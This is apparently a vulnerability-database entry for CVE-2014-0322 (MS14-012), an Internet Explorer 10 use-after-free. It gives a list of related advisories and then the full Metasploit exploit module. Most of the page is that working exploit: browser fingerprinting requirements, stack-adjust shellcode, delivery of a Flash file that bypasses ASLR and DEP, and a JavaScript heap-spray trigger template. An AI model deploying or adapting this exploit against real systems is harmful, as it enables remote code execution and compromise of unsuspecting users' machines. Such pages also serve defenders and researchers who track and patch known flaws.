MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free

🗓️ 01 Jul 2014 00:00:00Reported by RootType

MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free exploit targeting Flash Player 12 to bypass ASLR and DEP

Reporter	Title	Published	Views	Family All 51
0day.today	Internet Explorer 10 & Adobe Flash Player (12.0.0.70, 12.0.0.77) - CMarkup Use-After-Free	15 Apr 201400:00	–	zdt
0day.today	MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free	16 Apr 201400:00	–	zdt
Tenable Nessus	Microsoft Internet Explorer 6 through 11 Arbitrary Code Execution	29 Apr 201400:00	–	nessus
Tenable Nessus	MS KB2934088: Vulnerability in Internet Explorer Could Allow Remote Code Execution	20 Feb 201400:00	–	nessus
Tenable Nessus	MS14-012: Cumulative Security Update for Internet Explorer (2925418)	11 Mar 201400:00	–	nessus
ATTACKERKB	CVE-2014-0322	14 Feb 201400:00	–	attackerkb
ATTACKERKB	Microsoft Internet Explorer Use-After-Free Vulnerability	14 Feb 201400:00	–	attackerkb
Circl	CVE-2014-0322	14 Feb 201410:09	–	circl
CISA KEV Catalog	Microsoft Internet Explorer Use-After-Free Vulnerability	4 May 202200:00	–	cisa_kev
Check Point Advisories	Microsoft Internet Explorer Use-After-Free Code Execution (CVE-2014-0322)	15 Feb 201400:00	–	checkpoint_advisories


                                                ##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::BrowserExploitServer

  def initialize(info={})
    super(update_info(info,
      &#39;Name&#39;           =&#62; &#34;MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free&#34;,
      &#39;Description&#39;    =&#62; %q{
        This module exploits an use after free condition on Internet Explorer as used in the wild
        on the &#34;Operation SnowMan&#34; in February 2014. The module uses Flash Player 12 in order to
        bypass ASLR and finally DEP.
      },
      &#39;License&#39;        =&#62; MSF_LICENSE,
      &#39;Author&#39;         =&#62;
        [
          &#39;Unknown&#39;, # Vulnerability discovery and Exploit in the wild
          &#39;Jean-Jamil Khalife&#39;, # Exploit
          &#39;juan vazquez&#39; # Metasploit module
        ],
      &#39;References&#39;     =&#62;
        [
          [ &#39;CVE&#39;, &#39;2014-0322&#39; ],
          [ &#39;MSB&#39;, &#39;MS14-012&#39; ],
          [ &#39;BID&#39;, &#39;65551&#39; ],
          [ &#39;URL&#39;, &#39;http://www.fireeye.com/blog/technical/cyber-exploits/2014/02/operation-snowman-deputydog-actor-compromises-us-veterans-of-foreign-wars-website.html&#39;],
          [ &#39;URL&#39;, &#39;http://hdwsec.fr/blog/CVE-2014-0322.html&#39; ]
        ],
      &#39;Platform&#39;       =&#62; &#39;win&#39;,
      &#39;Arch&#39;           =&#62; ARCH_X86,
      &#39;Payload&#39;        =&#62;
        {
          &#39;Space&#39;          =&#62; 960,
          &#39;DisableNops&#39;    =&#62; true,
          &#39;PrependEncoder&#39; =&#62; stack_adjust
        },
      &#39;BrowserRequirements&#39; =&#62;
        {
          :source      =&#62; /script|headers/i,
          :os_name     =&#62; Msf::OperatingSystems::WINDOWS,
          :os_flavor   =&#62; Msf::OperatingSystems::WindowsVersions::SEVEN,
          :ua_name     =&#62; Msf::HttpClients::IE,
          :ua_ver      =&#62; &#39;10.0&#39;,
          :mshtml_build =&#62; lambda { |ver| ver.to_i &#60; 16843 },
          :flash       =&#62; /^12\./
        },
      &#39;DefaultOptions&#39; =&#62;
        {
          &#39;InitialAutoRunScript&#39; =&#62; &#39;migrate -f&#39;,
          &#39;Retries&#39;              =&#62; false
        },
      &#39;Targets&#39;        =&#62;
        [
          [ &#39;Windows 7 SP1 / IE 10 / FP 12&#39;, { } ],
        ],
      &#39;Privileged&#39;     =&#62; false,
      &#39;DisclosureDate&#39; =&#62; &#34;Feb 13 2014&#34;,
      &#39;DefaultTarget&#39;  =&#62; 0))

  end

  def stack_adjust
    adjust = &#34;\x64\xa1\x18\x00\x00\x00&#34;  # mov eax, fs:[0x18 # get teb
    adjust &#60;&#60; &#34;\x83\xC0\x08&#34;             # add eax, byte 8 # get pointer to stacklimit
    adjust &#60;&#60; &#34;\x8b\x20&#34;                 # mov esp, [eax] # put esp at stacklimit
    adjust &#60;&#60; &#34;\x81\xC4\x30\xF8\xFF\xFF&#34; # add esp, -2000 # plus a little offset

    adjust
  end

  def create_swf
    path = ::File.join( Msf::Config.data_directory, &#34;exploits&#34;, &#34;CVE-2014-0322&#34;, &#34;AsXploit.swf&#34; )
    fd = ::File.open( path, &#34;rb&#34; )
    swf = fd.read(fd.stat.size)
    fd.close
    return swf
  end

  def exploit
    @swf = create_swf
    super
  end

  def on_request_uri(cli, request)
    print_status(&#34;Request: #{request.uri}&#34;)

    if request.uri =~ /\.swf$/
      print_status(&#34;Sending SWF...&#34;)
      send_response(cli, @swf, {&#39;Content-Type&#39;=&#62;&#39;application/x-shockwave-flash&#39;, &#39;Pragma&#39; =&#62; &#39;no-cache&#39;})
      return
    end

    super
  end

  def on_request_exploit(cli, request, target_info)
    print_status(&#34;Sending HTML...&#34;)
    send_exploit_html(cli, exploit_template(cli, target_info))
  end

  def exploit_template(cli, target_info)

    flash_payload = &#34;&#34;
    get_payload(cli,target_info).unpack(&#34;V*&#34;).each do |i|
      flash_payload &#60;&#60; &#34;0x#{i.to_s(16)},&#34;
    end
    flash_payload.gsub!(/,$/, &#34;&#34;)

    html_template = %Q|
    &#60;html&#62;
    &#60;head&#62;
    &#60;/head&#62;
    &#60;body&#62;

    &#60;script&#62;

    var g_arr = [];
    var arrLen = 0x250;

    function dword2data(dword)
    {
      var d = Number(dword).toString(16);
      while (d.length &#60; 8)
        d = &#39;0&#39; + d;

      return unescape(&#39;%u&#39; + d.substr(4, 8) + &#39;%u&#39; + d.substr(0, 4));
    }

    function eXpl()
    {
      var a=0;

      for (a=0; a &#60; arrLen; a++) {
          g_arr[a] = document.createElement(&#39;div&#39;);
      }

      var b = dword2data(0x19fffff3);

      while (b.length &#60; 0x360) {
        if (b.length == (0x98 / 2))
        {
          b += dword2data(0x1a000010);
        }
        else if (b.length == (0x94 / 2))
        {
          b += dword2data(0x1a111111);
        }
        else if (b.length == (0x15c / 2))
        {
          b += dword2data(0x42424242);
        }
        else
        {
          b += dword2data(0x19fffff3);
        }
      }

      var d = b.substring(0, ( 0x340 - 2 )/2);

      try{
        this.outerHTML=this.outerHTML
      } catch(e){

      }

      CollectGarbage();

      for (a=0; a &#60; arrLen; a++)
        {
          g_arr[a].title = d.substring(0, d.length);
        }
    }

    function trigger()
    {
        var a = document.getElementsByTagName(&#34;script&#34;);
        var b = a[0];
        b.onpropertychange = eXpl;
        var c = document.createElement(&#39;SELECT&#39;);
        c = b.appendChild(c);
    }

    &#60;/script&#62;
    &#60;embed src=#{rand_text_alpha(4 + rand(3))}.swf FlashVars=&#34;version=&#60;%=flash_payload%&#62;&#34; width=&#34;10&#34; height=&#34;10&#34;&#62;
    &#60;/embed&#62;
    &#60;/body&#62;
    &#60;/html&#62;
    |

    return html_template, binding()
  end

end

01 Jul 2014 00:00Current

EPSS0.92968